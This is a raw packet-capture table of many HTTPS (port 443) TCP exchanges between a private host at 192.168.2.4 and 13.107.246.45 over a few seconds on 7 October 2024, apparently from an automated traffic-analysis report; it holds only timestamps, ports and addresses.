Oct 7, 2024 03:16:29.753103971 CEST	49961	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.753115892 CEST	443	49961	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.831691980 CEST	443	49957	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.832050085 CEST	443	49957	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.832124949 CEST	49957	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.832161903 CEST	49957	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.832175016 CEST	443	49957	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.832187891 CEST	49957	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.832192898 CEST	443	49957	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.835297108 CEST	49962	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.835304976 CEST	443	49962	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.835381985 CEST	49962	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.835508108 CEST	49962	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.835519075 CEST	443	49962	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.253388882 CEST	443	49959	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.253907919 CEST	49959	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.253940105 CEST	443	49959	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.254343033 CEST	49959	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.254348040 CEST	443	49959	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.351865053 CEST	443	49959	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.352619886 CEST	443	49959	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.352691889 CEST	49959	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.352741957 CEST	49959	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.352757931 CEST	443	49959	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.352766991 CEST	49959	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.352773905 CEST	443	49959	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.355374098 CEST	49963	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.355424881 CEST	443	49963	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.355524063 CEST	49963	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.355662107 CEST	49963	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.355676889 CEST	443	49963	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.401531935 CEST	443	49960	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.401930094 CEST	49960	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.401938915 CEST	443	49960	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.402403116 CEST	49960	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.402407885 CEST	443	49960	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.425632954 CEST	443	49961	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.425961971 CEST	49961	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.425981045 CEST	443	49961	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.426362991 CEST	49961	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.426368952 CEST	443	49961	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.501863003 CEST	443	49962	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.502593994 CEST	49962	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.502609968 CEST	443	49962	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.502979040 CEST	49962	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.502986908 CEST	443	49962	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.503452063 CEST	443	49960	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.503520966 CEST	443	49960	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.503635883 CEST	443	49960	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.503695965 CEST	49960	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.503741026 CEST	49960	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.503923893 CEST	49960	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.503931999 CEST	443	49960	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.503941059 CEST	49960	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.503946066 CEST	443	49960	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.506521940 CEST	49964	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.506560087 CEST	443	49964	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.506643057 CEST	49964	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.506757975 CEST	49964	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.506774902 CEST	443	49964	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.530327082 CEST	443	49961	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.530486107 CEST	443	49961	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.530570984 CEST	49961	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.530752897 CEST	49961	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.530765057 CEST	443	49961	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.530772924 CEST	49961	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.530777931 CEST	443	49961	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.533119917 CEST	49965	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.533168077 CEST	443	49965	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.533241987 CEST	49965	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.533507109 CEST	49965	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.533521891 CEST	443	49965	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.607671976 CEST	443	49962	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.607821941 CEST	443	49962	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.607944965 CEST	49962	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.608232021 CEST	49962	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.608239889 CEST	443	49962	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.608268976 CEST	49962	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.608273983 CEST	443	49962	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.611099958 CEST	49966	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.611152887 CEST	443	49966	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:30.611234903 CEST	49966	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.611380100 CEST	49966	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:30.611402035 CEST	443	49966	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.003701925 CEST	443	49963	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.004348040 CEST	49963	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.004364014 CEST	443	49963	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.004861116 CEST	49963	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.004868984 CEST	443	49963	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.102813005 CEST	443	49963	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.102957964 CEST	443	49963	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.103014946 CEST	49963	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.103234053 CEST	49963	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.103250027 CEST	443	49963	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.103269100 CEST	49963	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.103274107 CEST	443	49963	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.106216908 CEST	49967	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.106247902 CEST	443	49967	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.106319904 CEST	49967	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.106445074 CEST	49967	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.106462002 CEST	443	49967	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.175780058 CEST	443	49965	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.176218987 CEST	49965	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.176281929 CEST	443	49965	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.176666975 CEST	49965	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.176681042 CEST	443	49965	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.181999922 CEST	443	49964	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.182352066 CEST	49964	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.182374954 CEST	443	49964	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.182605028 CEST	49964	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.182611942 CEST	443	49964	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.274619102 CEST	443	49965	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.274867058 CEST	443	49965	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.274946928 CEST	49965	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.275002956 CEST	49965	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.275002956 CEST	49965	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.275043011 CEST	443	49965	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.275065899 CEST	443	49965	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.278388977 CEST	49968	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.278455019 CEST	443	49968	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.278541088 CEST	49968	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.278708935 CEST	49968	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.278726101 CEST	443	49968	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.283010960 CEST	443	49966	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.283425093 CEST	49966	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.283463955 CEST	443	49966	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.283518076 CEST	443	49964	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.283620119 CEST	443	49964	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.283679008 CEST	49964	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.283690929 CEST	443	49964	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.283736944 CEST	443	49964	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.283785105 CEST	49964	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.283884048 CEST	49964	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.283890963 CEST	49966	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.283894062 CEST	443	49964	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.283902884 CEST	443	49966	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.283926010 CEST	49964	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.283931017 CEST	443	49964	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.285917044 CEST	49969	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.285959005 CEST	443	49969	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.286034107 CEST	49969	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.286151886 CEST	49969	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.286159992 CEST	443	49969	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.384459019 CEST	443	49966	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.384612083 CEST	443	49966	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.385011911 CEST	49966	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.385061979 CEST	49966	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.385113955 CEST	443	49966	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.385145903 CEST	49966	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.385163069 CEST	443	49966	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.387902975 CEST	49970	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.387918949 CEST	443	49970	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.387976885 CEST	49970	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.388098001 CEST	49970	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.388108015 CEST	443	49970	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.773897886 CEST	443	49967	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.774476051 CEST	49967	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.774493933 CEST	443	49967	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.775046110 CEST	49967	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.775051117 CEST	443	49967	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.876795053 CEST	443	49967	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.876876116 CEST	443	49967	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.876935959 CEST	49967	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.877178907 CEST	49967	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.877197981 CEST	443	49967	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.877211094 CEST	49967	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.877217054 CEST	443	49967	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.880635023 CEST	49971	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.880669117 CEST	443	49971	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.880753994 CEST	49971	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.880934000 CEST	49971	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.880942106 CEST	443	49971	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.923276901 CEST	443	49968	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.923899889 CEST	49968	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.923926115 CEST	443	49968	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.924354076 CEST	49968	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.924360991 CEST	443	49968	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.925771952 CEST	443	49969	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.926018000 CEST	49969	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.926048040 CEST	443	49969	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:31.926326036 CEST	49969	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:31.926331043 CEST	443	49969	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.024328947 CEST	443	49968	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.024411917 CEST	443	49968	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.024461985 CEST	49968	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.025722027 CEST	49968	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.025741100 CEST	443	49968	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.025753975 CEST	49968	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.025759935 CEST	443	49968	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.026065111 CEST	443	49969	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.026181936 CEST	443	49969	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.026237011 CEST	49969	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.027627945 CEST	49969	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.027647018 CEST	443	49969	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.027658939 CEST	49969	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.027664900 CEST	443	49969	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.030335903 CEST	49972	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.030416012 CEST	49973	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.030435085 CEST	443	49972	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.030436993 CEST	443	49973	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.030528069 CEST	49973	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.030535936 CEST	49972	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.030735016 CEST	49972	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.030738115 CEST	49973	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.030755043 CEST	443	49973	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.030770063 CEST	443	49972	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.035836935 CEST	443	49970	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.036334038 CEST	49970	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.036356926 CEST	443	49970	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.036974907 CEST	49970	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.036981106 CEST	443	49970	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.135643959 CEST	443	49970	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.135822058 CEST	443	49970	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.135874987 CEST	49970	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.136040926 CEST	49970	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.136044979 CEST	443	49970	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.136054039 CEST	49970	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.136056900 CEST	443	49970	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.139343977 CEST	49974	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.139357090 CEST	443	49974	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.139437914 CEST	49974	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.139611959 CEST	49974	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.139626980 CEST	443	49974	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.521966934 CEST	443	49971	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.522783041 CEST	49971	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.522842884 CEST	443	49971	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.523305893 CEST	49971	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.523320913 CEST	443	49971	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.621635914 CEST	443	49971	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.621850014 CEST	443	49971	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.621906042 CEST	49971	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.621979952 CEST	49971	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.622009993 CEST	443	49971	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.622035027 CEST	49971	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.622047901 CEST	443	49971	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.625406027 CEST	49975	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.625474930 CEST	443	49975	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.625552893 CEST	49975	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.625827074 CEST	49975	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.625847101 CEST	443	49975	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.663294077 CEST	443	49973	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.663814068 CEST	49973	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.663832903 CEST	443	49973	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.664319038 CEST	49973	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.664324999 CEST	443	49973	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.673890114 CEST	443	49972	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.674355984 CEST	49972	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.674381018 CEST	443	49972	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.674688101 CEST	49972	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.674699068 CEST	443	49972	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.762895107 CEST	443	49973	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.763657093 CEST	443	49973	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.763701916 CEST	443	49973	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.763741016 CEST	49973	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.763768911 CEST	49973	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.771550894 CEST	49973	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.771559000 CEST	443	49973	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.771573067 CEST	49973	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.771579027 CEST	443	49973	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.772558928 CEST	443	49972	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.772742033 CEST	443	49972	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.772821903 CEST	49972	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.773835897 CEST	49972	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.773835897 CEST	49972	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.773878098 CEST	443	49972	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.773904085 CEST	443	49972	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.776583910 CEST	49976	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.776699066 CEST	443	49976	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.776787043 CEST	49976	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.777131081 CEST	49976	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.777165890 CEST	443	49976	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.778251886 CEST	49977	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.778283119 CEST	443	49977	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.778340101 CEST	49977	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.778475046 CEST	49977	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.778486013 CEST	443	49977	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.794723988 CEST	443	49974	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.795339108 CEST	49974	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.795357943 CEST	443	49974	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.795825005 CEST	49974	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.795830965 CEST	443	49974	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.894493103 CEST	443	49974	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.894591093 CEST	443	49974	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.894665956 CEST	49974	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.894676924 CEST	443	49974	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.894702911 CEST	443	49974	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.894752979 CEST	49974	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.894979954 CEST	49974	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.894985914 CEST	443	49974	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.894999027 CEST	49974	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.895004034 CEST	443	49974	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.898576975 CEST	49978	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.898619890 CEST	443	49978	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:32.898703098 CEST	49978	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.898874044 CEST	49978	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:32.898884058 CEST	443	49978	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.058542013 CEST	443	49958	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.059216976 CEST	49958	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.059279919 CEST	443	49958	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.059794903 CEST	49958	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.059809923 CEST	443	49958	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.159492970 CEST	443	49958	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.159599066 CEST	443	49958	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.159707069 CEST	443	49958	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.159745932 CEST	49958	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.159802914 CEST	49958	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.160063982 CEST	49958	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.160121918 CEST	443	49958	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.160156965 CEST	49958	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.160171986 CEST	443	49958	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.163237095 CEST	49979	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.163296938 CEST	443	49979	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.163456917 CEST	49979	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.163649082 CEST	49979	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.163665056 CEST	443	49979	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.262001038 CEST	443	49975	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.262470961 CEST	49975	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.262552977 CEST	443	49975	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.262893915 CEST	49975	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.262909889 CEST	443	49975	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.359901905 CEST	443	49975	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.360114098 CEST	443	49975	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.360234976 CEST	49975	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.360347033 CEST	49975	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.360347033 CEST	49975	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.360397100 CEST	443	49975	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.360430002 CEST	443	49975	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.363512039 CEST	49980	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.363543987 CEST	443	49980	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.363637924 CEST	49980	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.363815069 CEST	49980	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:33.363820076 CEST	443	49980	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:33.442683935 CEST	443	49976	13.107.246.45	192.168.2.4
